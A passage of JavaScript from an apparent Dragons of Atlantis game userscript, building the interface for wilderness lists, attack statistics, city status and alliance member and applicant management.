BQAEgYB/MwEGTRoWyk9sugZOgo+04EUMleipDBHj+fAMyz8OtYqnaGHBrz1H91WWTMyzG/mqn25T47LWvUgqAiFgqlZXuJCBnEQRag3K5BzEDIf6ZL+BfQHoO8bKes17kXjbclBhy686s6lWtzCOWs1tIqhRVdIQxrgNmXtXJGHpjUSR1Q==-----END PKCS7-----"><input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"><img alt="" border="0" src="https://www.paypalobjects.com/fr_FR/i/scr/pixel.gif" width="1" height="1"></form>' + '</center></td></tr>' + '<tr><td><br><br>' + '<b>Ruby Gifting is now available! - Kabam\'s text :</b><br><br>' + 'You\’re now able to buy Rubies and gift them to your Dragons of Atlantis friends and Alliance members.' + 'Not only that, but doing so can get you, the charming benefactor, a Bonus Package!<br><br>' + '<b>Here\’s how it works:</b><br>' + 'Click on the "Get More Rubies" button under your Rubies balance, then choose the "Gift" link.<br>' + 'From here, you\’ll be able to select the recipient from either a list of your Dragons of Atlantis ' + 'Alliance members or Facebook friends that play on any realm.<br><br>' + 'Then, complete your purchase as you would normally.<br><br>' + 'Once you have completed your purchase, you will receive the Bonus Package associated with the Ruby amount you selected, and the recipient will get the Rubies!<br><br>' + '<br>';
				m += '</div></td></tr></table></div></div>';
				document.getElementById(UID['tabInfo_Content']).innerHTML = m;
			},
			
			tabInfoWilderness : function() {
				var t = Tabs.Info;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInfoWilderness']).className = 'selected';
				document.getElementById(UID['tabInfoWilderness']).style.zIndex = 1;
				t.lastSubTab = 'tabInfoWilderness';
				t.contentType = 6;
				
				var m = 	'<div id=' + setUID('tabInfo_Wilderness') + '>' 
					+ '	<div class=' + UID['title'] + '>' + translate('Wildernesses') + '</div>' 
					+ '	<div class=' + UID['status_ticker'] + ' style="height:575px; max-height:575px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important">&nbsp;&nbsp;'
					+ translate('Wildernesses') + '&nbsp;&nbsp;' + dispWildsCount()
					+ '<table class=' + UID['row_style'] + ' width=75%>'
					+ '<tr class=' + UID['row_headers'] + ' align=center>'
					+ '<td>' + translate('Type') + '</td>' + '<td>' + translate('Level') + '</td>'  + '<td>' + translate('X') + '</td>' + '<td>' + translate('Y') + '</td>' + '<td>' + translate('Action') + '</td>'
					+ '</tr>';
				var w = Player.getWildernesses();
				

				w.sort(function(a, b) {
					var typeA = a.type.toLowerCase(),
						typeB = b.type.toLowerCase();
					if (typeA < typeB) {
						return -1
					}
					if (typeA > typeB) {
						return 1
					}
					return 0;
				});
				
				var ws = [];
				for ( var i=0; i < w.length; i++ ) {
					m += '<tr><td>' + translate(w[i].type) + '</td><td>' + w[i].level + '</td><td>' + w[i].x + '</td><td>' + w[i].y + '</td>';
					m += '<td>&nbsp;</td>'
					m += '</tr>';
				}
				m += '</table></div>';
				document.getElementById(UID['tabInfo_Content']).innerHTML = m;
				
				function abandonWilderness() {
					var ids = event.target.getAttribute('ref').split('_');
					var x = ids[0];
					var y = ids[1];
					var cityId = Seed.cities[CAPITAL.id].id;
					
					new MyAjax.abandonWilderness(cityId, x, y, mycb);
					
					function mycb(rslt) {
						setTimeout(Tabs.Info.show, 2000);
					}
				}
				
				function dispWildsCount() {
					var max = toNum(Seed.player.max_wildernesses);
					var cur = toNum(Seed.player.player_wildernesses.length);
					var m = (cur < max) ? '<span class=' + UID['bold_red'] + '>' + cur + '</span>' : cur;
					m += ' / ' + max;
					return m;
				}
			},

			tabInfoStats: function() {
				var t = Tabs.Info;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInfoStats']).className = 'selected';
				document.getElementById(UID['tabInfoStats']).style.zIndex = 1;
				t.lastSubTab = 'tabInfoStats';
				t.contentType = 5;
				Data.options.info.current_tab = t.contentType;

				var m = '<div class=' + UID['title'] + '>' + translate('Attacks Stats') + '</div>' + '<div id=' + setUID('tabInfoStats_Statbox') + ' class=' + UID['status_ticker'] + '>' + '<div id=' + setUID('tabInfoStats_Status') + '></div>' + '<div id=' + setUID('tabInfoStats_Percent') + '></div>' + '<br/>' + '<center><input id=' + setUID('tabInfoStats_Clear') + ' type=button value="' + translate('Clear Stats') + '" /></center>' + '<br></div>';

				document.getElementById(UID['tabInfo_Content']).innerHTML = m;
				document.getElementById(UID['tabInfoStats_Clear']).addEventListener('click', function() {
					clearStats();
					showStats();
				}, false);
				showStats();

				function clearStats() {
					var t = Tabs.Info;
					var now = serverTime();
					Data.stats.total = {
						start_at: now,
						total_attacks: 0,
						loss: {},
						items: {},
						resources: {}
					};
					showStats();
				}

				function showStats() {
					var t = Tabs.Info;
					var div = document.getElementById(UID['tabInfoStats_Status']);
					if (div == null) return;
					if (!Data.stats.total.start_at || Data.stats.total.start_at == undefined || Data.stats.total.start_at == 0) Data.stats.total.start_at = Data.stats.requests.start_at;
					var run_time = (serverTime() - Data.stats.total.start_at);
					var trueRunTime = (run_time > 0) ? (run_time / 3600) : 1;

					var m = '<table class=' + UID['table'] + '>' + '	<tr>' + '		<td class=right>' + translate('Start Date') + ': </td>' + '		<td colspan=>' + new Date(Data.stats.total.start_at * 1000).myString() + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Run Time') + ': </td>' + '		<td>' + timestr(run_time, true) + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Attacks') + ': </td>' + '		<td>' + Data.stats.total.total_attacks + '</td>' + '	<tr valign=top align=right>' + '		<td class=right>' + translate('Troops lost') + ': </td>';
					var first = true;
					for (var name in Data.stats.total.loss) {
						var perHour = Math.round(Data.stats.total.loss[name] / trueRunTime);
						if (first) first = false;
						else m += '	<tr align=right><td></td>';
						m += '		<td>' + translate(name) + ':</td>' + '		<td>' + numf(Data.stats.total.loss[name], ' ') + '</td>' + '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '	</tr>';
					}
					m += '</tr><tr valign=top align=right>' + '		<td class=right>' + translate('Resources') + ': </td>';
					var first = true;
					for (var name in Data.stats.total.resources) {
						var perHour = Math.round(Data.stats.total.resources[name] / trueRunTime);
						if (first) first = false;
						else m += '	<tr align=right><td></td>';
						m += '			<td>' + translate(name) + ':</td>' + '			<td>' + numf(Data.stats.total.resources[name], ' ') + '</td>' + '			<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '		</tr>';
					}
					m += '<tr valign=top align=right>' + '		<td class=right>' + translate('Items') + ': </td>';
					var items = [];
					for (var name in Data.stats.total.items)
						items.push({
							desc: translate(name),
							qty: Data.stats.total.items[name]
						});
					if (items.length > 0) {
						items.sort(function(a, b) {
							a = a.desc.toLowerCase();
							b = b.desc.toLowerCase();
							if (a > b) return 1;
							if (a < b) return -1;
							return 0;
						});
						for (var i = 0; i < items.length; i++) {
							var perHour = Math.round(items[i].qty / trueRunTime);
							if (i > 0) m += '<tr align=right><td></td>';
							m += '		<td>' + items[i].desc + ':</td>' + '		<td>' + numf(items[i].qty, ' ') + '</td>' + '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '	</tr>';
						}
					}
					m += '</table>';
					div.innerHTML = m;
				}
			},

			cityTitle: function(cityIdx, UID_button) {
				var t = Tabs.Info;
				var city = Seed.cities[cityIdx];
				var wallStatus = '';
				var alliance_name = (Seed.player.alliance) ? Seed.player.alliance.name : '';
				alliance_name = (city.type == 'Outpost') ? '' : alliance_name;
				if (cityIdx == CAPITAL.id)
					wallStatus = (Seed.cities[cityIdx].defended) ? '<font class=' + UID['defending'] + '>' + translate('Defend').toUpperCase() + '</font>' : '<font class=' + UID['hiding'] + '>' + translate('Hiding').toUpperCase() + '</font>';
				else
					wallStatus = ' &nbsp ';

				// Met le % de stockage de ressources de l'outpost
				if (city.type == 'Outpost' && cityIdx != SPECTRAL_OUTPOST.id && cityIdx != SKY_OUTPOST.id && cityIdx != CAVE_OUTPOST.id && cityIdx != LUNA_OUTPOST.id && cityIdx != COLOSSUS_OUTPOST.id) {
					var total_capacity = 0;
					var current_stock = 0;
					var buildList = Buildings.getList(cityIdx, 'Silo');
					for (var b = 0; b < buildList.length; b++) {
						total_capacity += Seed.stats.building[buildList[b].type].level[buildList[b].level].capacity;
					}
					for (var r in city.resources) {
						current_stock += city.resources[r];
					}
					var percent = toNum(current_stock / total_capacity * 100);
					if (percent < 75) var col = 'white';
					else if (percent < 90) var col = 'yellow';
					else var col = '#FF7F00';
					wallStatus = '<font color=' + col + '>' + translate('Silo') + ' ' + percent + ' %</font>';
				}

				return '<div class=' + UID['subtitle'] + '><table class=' + UID['table'] + '>' + '<tr><td align=left width=35%>' + ((city.type == 'Outpost') ? translate(city.name) : city.name) + '</td>' + '<td align=center width=30%>' + city.x + ',' + city.y + '</td>' + '<td align=center width=200px><font color=yellow>' + alliance_name + '</font></td>' + '<TD width=35% align=right>' + wallStatus + '</td>' + '</tr></table></div>';
			},

			refresh: function() {
				logit('fetchPlayer from Tab.Info refresh');
				var t = Tabs.Info;
				if (t.refreshPlayerBusy) return false;
				t.refreshPlayerBusy = true;
				refreshPlayerData(t.container, function() {
					logit(translate('Player data retrieved'));
					Tabs.Info.refreshPlayerBusy = false;
				});
				t.show();
			},

			highLightDiff: function() {
				for(var i = 0; i < Tabs.Info.diff.length ; i++) {
					Effect.Pulsate(UID['tabInfoInv_' + Tabs.Info.diff[i] + '_hl'], { pulses: 5, duration: 2.0 });
				}
				Tabs.Info.diff = [];
			}
		}

		/******************************** Alliance features Tab **********************/
		Tabs.Alliance = {
			tabOrder: ALLIANCE_TAB_ORDER,
			tabLabel: 'Alliance',
			tabDisabled: !ALLIANCE_TAB_ENABLE,
			container: null,
			contentType: 0,
			/* 0 = member list, 1 = transport, 2 = reinforcement, 3 = Alliances top 100, 5 = Activity */
			totalResources: 0,
			maxResources: 0,
			totalForces: 0,
			recallTimer: 0,
			lastSubTab: 'tabAllianceList',
			own: 0,
			my_role: 'none',
			autoTimer: null,
			marchTimer: null,
			autoErrors: 0,
			report_num: -1,
			last_report: null,
			checkAlliancesBusy: false,
			checkAlliancesError: false,

			init: function(div) {
				var t = Tabs.Alliance,
					m = '';

				t.own = Seed.player.alliance ? Seed.player.alliance.id : -1;
				t.my_role = Seed.player.alliance_membership ? Seed.player.alliance_membership.role : 'none';
				Data.setDefaultValues('alliance');
				if (t.new_id == 0) t.new_id = Seed.player.alliance.id;
				t.container = div;
				m = '<div class=' + UID['title'] + '>' + translate('Alliance features') + '</div>' + '<div id=' + setUID('tabAlliance_Status') + ' style="margin-bottom:5px !important">' + '	<table width=100%>' + '		<tr>' + '			<td align=center width=25%><input type=button value="' + translate('Refresh list') + '" id=' + setUID('tabAlliance_RefreshList') + ' /></td>' + '			<td align=center width=25%><input type=button value="' + translate('Message alliance') + '" id=' + setUID('tabAlliance_MsgAll') + ' /></td>' + '			<td align=center width=25%>' + ((t.my_role == 'vassal' || t.my_role == 'none') ? '&nbsp;' : '<input type=button value="' + translate('Refresh applicants') + '" id=' + setUID('tabAlliance_RefreshApplicants') + ' />') + '</td>' + '			<td align=center width=25%><input type=button value="' + translate('actions-resign').initCap() + '" id=' + setUID('tabAlliance_Regin') + ' /></td>' + '		</tr>' + '	</table>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabAllianceList') + '>' + translate('members') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabAllianceActivity') + '>' + translate('Activity') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabAllianceTrans') + '>' + translate('Transport') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabAllianceReinforcement') + '>' + translate('reinforcements') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabAllianceAuto') + '>L.I.T.</a></li>' + '	<li class=tab><a id=' + setUID('tabAlliances') + '>' + translate('Alliances') + ' Top 100</a></li>' + '</ul>' + '<div id=' + setUID('tabAlliance_Content') + ' style="padding-top:0px; height:655px; ; max-height:655px; overflow-y:auto"></div>';

				t.container.innerHTML = m;

				document.getElementById(UID['tabAlliance_RefreshList']).addEventListener('click', t.refreshList, false);
				document.getElementById(UID['tabAllianceList']).addEventListener('click', t.tabAllianceList, false);
				document.getElementById(UID['tabAllianceActivity']).addEventListener('click', t.tabAllianceActivity, false);
				document.getElementById(UID['tabAllianceTrans']).addEventListener('click', t.tabAllianceTrans, false);
				document.getElementById(UID['tabAllianceReinforcement']).addEventListener('click', t.tabAllianceReinforcement, false);
				document.getElementById(UID['tabAllianceAuto']).addEventListener('click', t.tabAllianceAuto, false);
				document.getElementById(UID['tabAlliance_MsgAll']).addEventListener('click', function() {
					dialogSendMsg(translate('Alliance'), (Seed.player.alliance.id || 0));
				});
				document.getElementById(UID['tabAlliance_Regin']).addEventListener('click', function() {
					t.onClickResign(function() {
						t.show()
					});
				}, false);
				document.getElementById(UID['tabAlliances']).addEventListener('click', t.tabAlliances, false);
				if (document.getElementById(UID['tabAlliance_RefreshApplicants']))
					document.getElementById(UID['tabAlliance_RefreshApplicants']).addEventListener('click', t.refreshApplicants, false);

				window.addEventListener('unload', t.onUnload, false);

				t.contentType = toNum(Data.options.alliance.current_tab);
				t.setEnable(false);
				t.show();
			},

			show: function() {
				var t = Tabs.Alliance;
				if (Seed.player.alliance && Seed.player.alliance.id > 0) {
					setButtonStyle(document.getElementById(UID['tabAlliance_RefreshList']), true);
					if (document.getElementById(UID['tabAlliance_RefreshApplicants'])) setButtonStyle(document.getElementById(UID['tabAlliance_RefreshApplicants']), true);
					setButtonStyle(document.getElementById(UID['tabAlliance_MsgAll']), true);
					if (t.my_role == 'overlord')
						setButtonStyle(document.getElementById(UID['tabAlliance_Regin']), false, 'btn_off');
					else setButtonStyle(document.getElementById(UID['tabAlliance_Regin']), true, 'btn_off');
				} else {
					setButtonStyle(document.getElementById(UID['tabAlliance_RefreshList']), false);
					if (document.getElementById(UID['tabAlliance_RefreshApplicants'])) setButtonStyle(document.getElementById(UID['tabAlliance_RefreshApplicants']), false);
					setButtonStyle(document.getElementById(UID['tabAlliance_MsgAll']), false);
					setButtonStyle(document.getElementById(UID['tabAlliance_Regin']), false, 'btn_off');
				}
				t.marchTick();
				if (!t.checkMembersBusy) {
					switch (toNum(t.contentType)) {
						case 0:
							t.tabAllianceList();
							break;
						case 1:
							t.tabAllianceTrans();
							break;
						case 2:
							t.tabAllianceReinforcement();
							break;
						case 3:
							t.tabAlliances();
							break;
						case 4:
							t.tabAllianceAuto();
							break;
						case 5:
							t.tabAllianceActivity();
							break;
					}
				} else setTimeout(t.show, 100);
			},
			onUnload: function() {
				var t = Tabs.Alliance;
				if (t.marchTimer) clearTimeout(t.marchTimer);
				logit('===============  Tabs.Alliance.onUnload');
				Data.options.alliance.current_tab = t.contentType;
			},
			hide: function() {},

			refreshList: function() {
				var t = Tabs.Alliance;
				if (t.checkMembersBusy) return false;
				t.checkMembersBusy = true;
				t.getAllianceMembers(function() {
					logit(translate('Alliance members list retrieved'));
					Tabs.Alliance.checkMembersBusy = false
					var now = serverTime();
					Data.options.alliance.last_update = new Date(now * 1000).myString();
					Tabs.Alliance.show();
				});
			},
			getAllianceMembers: function(notify) {
				var t = Tabs.Alliance;
				ret = [];
				if (Data.dynamic.players.memberships && Data.dynamic.players.memberships != undefined && Data.dynamic.players.memberships.length > 0) {
					for (var i = 0; i < Data.dynamic.players.memberships.length; i++) {
						if (Data.dynamic.players.memberships[i].role != 'applicant')
							ret.push({
								id: Data.dynamic.players.memberships[i].id,
								player: Data.dynamic.players.memberships[i].player,
								role: Data.dynamic.players.memberships[i].role,
								might: Data.dynamic.players.memberships[i].might,
								city: Data.dynamic.players.memberships[i].city,
								x: Data.dynamic.players.memberships[i].x,
								y: Data.dynamic.players.memberships[i].y,
								dragon: Data.dynamic.players.memberships[i].dragon,
								dist: Data.dynamic.players.memberships[i].dist,
								joined: Data.dynamic.players.memberships[i].joined
							});
					}
				}
				Data.dynamic.players.memberships_evolution = cloneProps(ret);
				Data.dynamic.players.memberships = {
					player: '',
					id: 0,
					role: '',
					might: 0,
					city: '',
					x: 0,
					y: 0,
					dragon: {},
					req_id: 0,
					dist: 0,
					joined: 0
				};
				var dial = new ModalDialog(t.container, 300, 165, '', false, null);
				dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
				dial.getContentDiv().innerHTML = translate('Search for alliance members');
				MemberShips.fetchMembership(Seed.player.alliance.id, callback, false);

				function callback(dat) {
					if (!dat.done) {
						if (dat.errmsg)
							dial.getContentDiv().innerHTML = dat.errmsg;
						else dial.getContentDiv().innerHTML = translate('Error while retrieving the list of members');
						dial.allowClose(true);
						if (notify) notify(false);
						return;
					} else {
						Data.dynamic.players.memberships = cloneProps(dat.member);
						verboseLog('*********  List retrieved ... Total members: ' + Data.dynamic.players.memberships.length);

						function charOrdA(a, b) {
							a = a.player.toLowerCase();
							b = b.player.toLowerCase();
							if (a > b) return 1;
							if (a < b) return -1;
							return 0;
						}
						Data.dynamic.players.memberships.sort(charOrdA);
						Data.options.alliance.sort_list = '2';
						setTimeout(function() {
							dial.destroy()
						}, 1000);
						if (notify) notify(true);
					}
				}
			},
			refreshApplicants: function() {
				var t = Tabs.Alliance;
				if (t.checkMembersBusy) return false;
				t.checkMembersBusy = true;
				t.getApplicants(function() {
					logit(translate('Alliance applicants list retrieved'));
					Tabs.Alliance.checkMembersBusy = false
					Tabs.Alliance.tabAllianceList();
				});
			},
			getApplicants: function(notify) {
				var t = Tabs.Alliance;
				Data.dynamic.players.applicants = {
					player: '',
					id: 0,
					role: '',
					might: 0,
					city: '',
					x: 0,
					y: 0,
					dragon: {},
					req_id: 0,
					dist: 0,
					joined: 0
				};
				var dial = new ModalDialog(t.container, 300, 165, '', false, null);
				dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
				dial.getContentDiv().innerHTML = translate('Search for alliance applicants');
				MemberShips.fetchApplicants(Seed.player.alliance.id, callback, false);

				function callback(dat) {
					if (!dat.done) {
						if (dat.errmsg)
							dial.getContentDiv().innerHTML = dat.errmsg;
						else dial.getContentDiv().innerHTML = translate('Error while retrieving the list of applicants');
						dial.allowClose(true);
						if (notify) notify(false);
						return;
					} else {
						Data.dynamic.players.applicants = cloneProps(dat.member);
						logit('*********  List retrieved ... Total applicants: ' + Data.dynamic.players.applicants.length);

						function charOrdA(a, b) {
							a = a.player.toLowerCase();
							b = b.player.toLowerCase();
							if (a > b) return 1;
							if (a < b) return -1;
							return 0;
						}
						Data.dynamic.players.applicants.sort(charOrdA);
						Data.options.alliance.sort_applicants = '2';
						setTimeout(function() {
							dial.destroy()
						}, 1000);
						if (notify) notify(true);
					}
				}
			},

			/** ALLIANCE MEMBERS LIST SUB-TAB ***/
			tabAllianceList: function() {
				var t = Tabs.Alliance;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAllianceList']).className = 'selected';
				document.getElementById(UID['tabAllianceList']).style.zIndex = 1;
				t.lastSubTab = 'tabAllianceList';

				t.contentType = 0;

				if (is_null(Data.options.alliance.sort_list)) Data.options.alliance.sort_list = '0';
				if (!is_null(Data.options.alliance.last_update))
					kLastupdate = ' (' + Data.options.alliance.last_update + ')';
				else kLastupdate = '';

				var m = '<div id=' + setUID('tabAlliance_Results') + ' style="height:640px">' + '	<div class=' + UID['title'] + '>' + translate('Members list ') + kLastupdate + '</div>' + '	<div id=' + setUID('tabAlliance_ResultList') + ' class=' + UID['status_ticker'] + ' style="height:620px; max-height:620px; overflow:auto; white-space:nowrap; margin-top:1px !important"></div>' + '	<div id=' + setUID('tabAlliance_RequestHeader') + ' class=' + UID['title'] + '>' + translate('Applicants') + '</div>' + '	<div id=' + setUID('tabAlliance_RequestList') + ' class=' + UID['status_ticker'] + ' style="display:none; height:100px; max-height:100px; overflow:auto; white-space:nowrap; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabAlliance_Content']).innerHTML = m;
				if (t.my_role == 'vassal' || t.my_role == 'none' || Data.dynamic.players.applicants.length == 0) {
					document.getElementById(UID['tabAlliance_ResultList']).style.height = "620px";
					document.getElementById(UID['tabAlliance_RequestHeader']).style.display = "none";
					document.getElementById(UID['tabAlliance_RequestList']).style.display = "none";
				} else {
					document.getElementById(UID['tabAlliance_ResultList']).style.height = "490px";
					document.getElementById(UID['tabAlliance_RequestHeader']).style.display = "block";
					document.getElementById(UID['tabAlliance_RequestList']).style.display = "block";
				}

				var m = '<table class=' + UID['row_style'] + '>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td id=' + setUID('tabAlliance_tal_0') + ' width="40px"><A><span>' + translate('Dist') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_tal_1') + ' width="55px"><A><span>' + translate('Coords') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_tal_2') + ' width="150px" style="overflow-x:auto"><A><span>' + translate('Player name') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_tal_3') + ' width="65px" style="overflow-x:auto"><A><span>' + translate('Role') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_tal_4') + ' width="65px" align=right><A><span>' + translate('Might') + '</span></A></td>' + '		<td width="60px" align=right>' + translate('Evol') + '</td>' + '		<td id=' + setUID('tabAlliance_tal_5') + ' width="65px" align=right><A><span>' + translate('Joined') + '</span></A></td>' + '	</tr>';
				var ul = [],
					ur = [],
					UIDMsg = setUID('tabAlliance_SendMsg'),
					UIDRej = setUID('tabAlliance_reject');
				for (var i = 0; i < Data.dynamic.players.memberships.length; i++) {
					m += '<tr><td>' + Data.dynamic.players.memberships[i].dist + '</td>' + '	<td align=center>' + Data.dynamic.players.memberships[i].x + ',' + Data.dynamic.players.memberships[i].y + '</td>';
					var mightF = numf(Data.dynamic.players.memberships[i].might, ' ');
					var found = false;
					var evol = 'x';
					for (var old = 0; old < Data.dynamic.players.memberships_evolution.length && !found; old++) {
						if (Data.dynamic.players.memberships_evolution[old].id == Data.dynamic.players.memberships[i].id) {
							evol = Data.dynamic.players.memberships[i].might - Data.dynamic.players.memberships_evolution[old].might;
							if (evol < 0) evol = '<span class=' + UID['red'] + '>' + numf(evol, ' ') + '</span>';
							else if (evol > 0) evol = '<span class=' + UID['green'] + '>+' + numf(evol, ' ') + '</span>';
							else evol = numf(evol, ' ');
							found = true;
						}
					}
					if (Data.dynamic.players.memberships[i].role == 'vassal') var pRole = '';
					else var pRole = translate('role-' + Data.dynamic.players.memberships[i].role);
					var user_ids = Data.dynamic.players.memberships[i].id + '_' + Data.dynamic.players.memberships[i].player;
					m += '<td align=left>' + Data.dynamic.players.memberships[i].player + '</td>' + '	<td align=left>' + pRole + '</td>' + '	<td align=right>' + mightF + '</td>' + '	<td align=right>' + evol + '</td>' + '	<td align=right>' + new Date(Data.dynamic.players.memberships[i].joined).formatDate() + '</td>' + '	<td align=right>&nbsp;<input class=Xtrasmall id=' + UIDMsg + '_' + Data.dynamic.players.memberships[i].id + ' ref="' + user_ids + '" type=button  style="width:auto !important;" value="' + translate('Msg') + '" \></td>' + ((t.my_role == 'vassal' || t.my_role == 'none') ? '' : '<td align=right>&nbsp;<input class="Xtrasmall ' + UID['btn_red'] + '" id=' + UIDRej + '_' + i + ' ref="' + i + '_' + Data.dynamic.players.memberships[i].req_id + '" type=button  style="width:auto !important;" value=" X " \></td>') + '</tr>';
					ul.push(UIDMsg + '_' + Data.dynamic.players.memberships[i].id);
					if (t.my_role != 'vassal' && t.my_role != 'none') ur.push(UIDRej + '_' + i);
				}
				for (var old = 0; old < Data.dynamic.players.memberships_evolution.length; old++) {
					var found = false;
					for (var i = 0; i < Data.dynamic.players.memberships.length && !found; i++) {
						if (Data.dynamic.players.memberships_evolution[old].id == Data.dynamic.players.memberships[i].id)
							found = true;
					}
					if (!found && Data.dynamic.players.memberships_evolution[old].player) {
						m += '<tr><td><span class=' + UID['red'] + '>' + Data.dynamic.players.memberships_evolution[old].dist + '</span></td>' + '	<td align=center><span class=' + UID['red'] + '>' + Data.dynamic.players.memberships_evolution[old].x + ',' + Data.dynamic.players.memberships_evolution[old].y + '</span></td>';
						var mightF = numf(Data.dynamic.players.memberships_evolution[old].might, ' ');
						if (Data.dynamic.players.memberships_evolution[old].role == 'vassal') var pRole = '';
						else var pRole = translate('role-' + Data.dynamic.players.memberships_evolution[old].role);
						var user_ids = Data.dynamic.players.memberships_evolution[old].id + '_' + Data.dynamic.players.memberships_evolution[old].player;
						m += '<td align=left><span class=' + UID['red'] + '>' + Data.dynamic.players.memberships_evolution[old].player + '</span></td>' + '	<td align=left><span class=' + UID['red'] + '>' + pRole + '</span></td>' + '	<td align=right><span class=' + UID['red'] + '>' + mightF + '</span></td>' + '	<td align=right><span class=' + UID['red'] + '>-</span></td>' + '	<td align=right><span class=' + UID['red'] + '>' + new Date(Data.dynamic.players.memberships_evolution[old].joined).formatDate() + '</span></td>' + '	<td align=right><input class=small id=' + UIDMsg + '_' + Data.dynamic.players.memberships_evolution[old].id + ' ref="' + user_ids + '" type=button  style="width:auto !important;" value="' + translate('Msg') + '" \></td>' + '</tr>';
						ul.push(UIDMsg + '_' + Data.dynamic.players.memberships_evolution[old].id);
					}
				}
				document.getElementById(UID['tabAlliance_ResultList']).innerHTML = m + '</table>';
				for (var h = 0; h < 6; h++)
					document.getElementById(UID['tabAlliance_tal_' + h]).addEventListener('click', sortMembList, false);
				for (var u = 0; u < ul.length; u++)
					document.getElementById(ul[u]).addEventListener('click', onClickMsg, false);
				for (var u = 0; u < ur.length; u++)
					document.getElementById(ur[u]).addEventListener('click', onRejectMember, false);

				if (t.my_role != 'vassal' && t.my_role != 'none' || is_null(Data.dynamic.players.applicants) || Data.dynamic.players.applicants.length > 0) {
					var m = '<table class=' + UID['row_style'] + '>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td id=' + setUID('tabAlliance_taa_0') + ' width="40px"><A><span>' + translate('Dist') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_taa_1') + ' width="55px"><A><span>' + translate('Coords') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_taa_2') + ' width="150px" style="overflow-x:auto"><A><span>' + translate('Player name') + '</span></A></td>' + '		<td id=' + setUID('tabAlliance_taa_3') + ' width="65px" align=right><A><span>' + translate('Might') + '</span></A></td>' + '	</tr>';
					var ul = [],
						ua = [],
						ur = [],
						UIDMsg = setUID('tabAlliance_A_SendMsg'),
						UIDAcc = setUID('tabAlliance_A_accept'),
						UIDRej = setUID('tabAlliance_A_reject');
					for (var i = 0; i < Data.dynamic.players.applicants.length; i++) {
						m += '<tr><td>' + Data.dynamic.players.applicants[i].dist + '</td>' + '	<td align=center>' + Data.dynamic.players.applicants[i].x + ',' + Data.dynamic.players.applicants[i].y + '</td>';
						var mightF = numf(Data.dynamic.players.applicants[i].might, ' ');
						var user_ids = Data.dynamic.players.applicants[i].id + '_' + Data.dynamic.players.applicants[i].player;
						m += '<td align=left>' + Data.dynamic.players.applicants[i].player + '</td>' + '	<td align=right>' + mightF + '</td>' + '	<td align=right>&nbsp;<input class=Xtrasmall id=' + UIDMsg + '_' + Data.dynamic.players.applicants[i].id + ' ref="' + user_ids + '" type=button  style="width:auto !important;" value="' + translate('Msg') + '" \>&nbsp;</td>' + '	<td align=right>&nbsp;<input class="Xtrasmall ' + UID['btn_green'] + '" id=' + UIDAcc + '_' + i + ' ref="' + i + '_' + Data.dynamic.players.applicants[i].req_id + '" type=button  style="width:auto !important;" value="' + translate('Accept') + '" \>&nbsp;</td>' + '	<td align=right>&nbsp;<input class="Xtrasmall ' + UID['btn_red'] + '" id=' + UIDRej + '_' + i + ' ref="' + i + '_' + Data.dynamic.players.applicants[i].req_id + '" type=button  style="width:auto !important;" value="' + translate('Dismiss') + '" \>&nbsp;</td>' + '</tr>';
						ul.push(UIDMsg + '_' + Data.dynamic.players.applicants[i].id);
						ua.push(UIDAcc + '_' + i);
						ur.push(UIDRej + '_' + i);
					}
					document.getElementById(UID['tabAlliance_RequestList']).innerHTML = m + '</table>';
					for (var h = 0; h < 4; h++)
						document.getElementById(UID['tabAlliance_taa_' + h]).addEventListener('click', sortApplicantList, false);
					for (var u = 0; u < ul.length; u++) {
						document.getElementById(ul[u]).addEventListener('click', onClickMsg, false);
						document.getElementById(ua[u]).addEventListener('click', onAcceptApplicant, false);
						document.getElementById(ur[u]).addEventListener('click', onRejectApplicant, false);
					}
				}

				function acceptReject(button, approved, accept, offset, id, notify) {
					var t = Tabs.Alliance;
					setButtonStyle(button, false, (accept ? 'btn_green' : 'btn_red'), 'btn_disabled');
					var dial = new ModalDialog(t.container, 300, 165, '', false, null);
					dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
					dial.getContentDiv().innerHTML = (accept ? translate('Accepting applicant') : (approved ? translate('Rejecting member') : translate('Rejecting applicant')));
					MyAjax.membership(Seed.player.alliance.id, id, (accept ? 'put' : 'delete'), callback, false);

					function callback(dat) {
						if (dat == null || !dat.ok) {
							if (dat.errmsg)
								dial.getContentDiv().innerHTML = dat.errmsg;
							else dial.getContentDiv().innerHTML = translate('Error while ' + (accept ? 'accepting' : 'rejecting') + ' the ' + (approved ? 'member' : 'applicant'));
							dial.allowClose(true);
							if (notify) notify(false);
							return;
						}
						if (approved)
							Data.dynamic.players.memberships.splice(offset, 1);
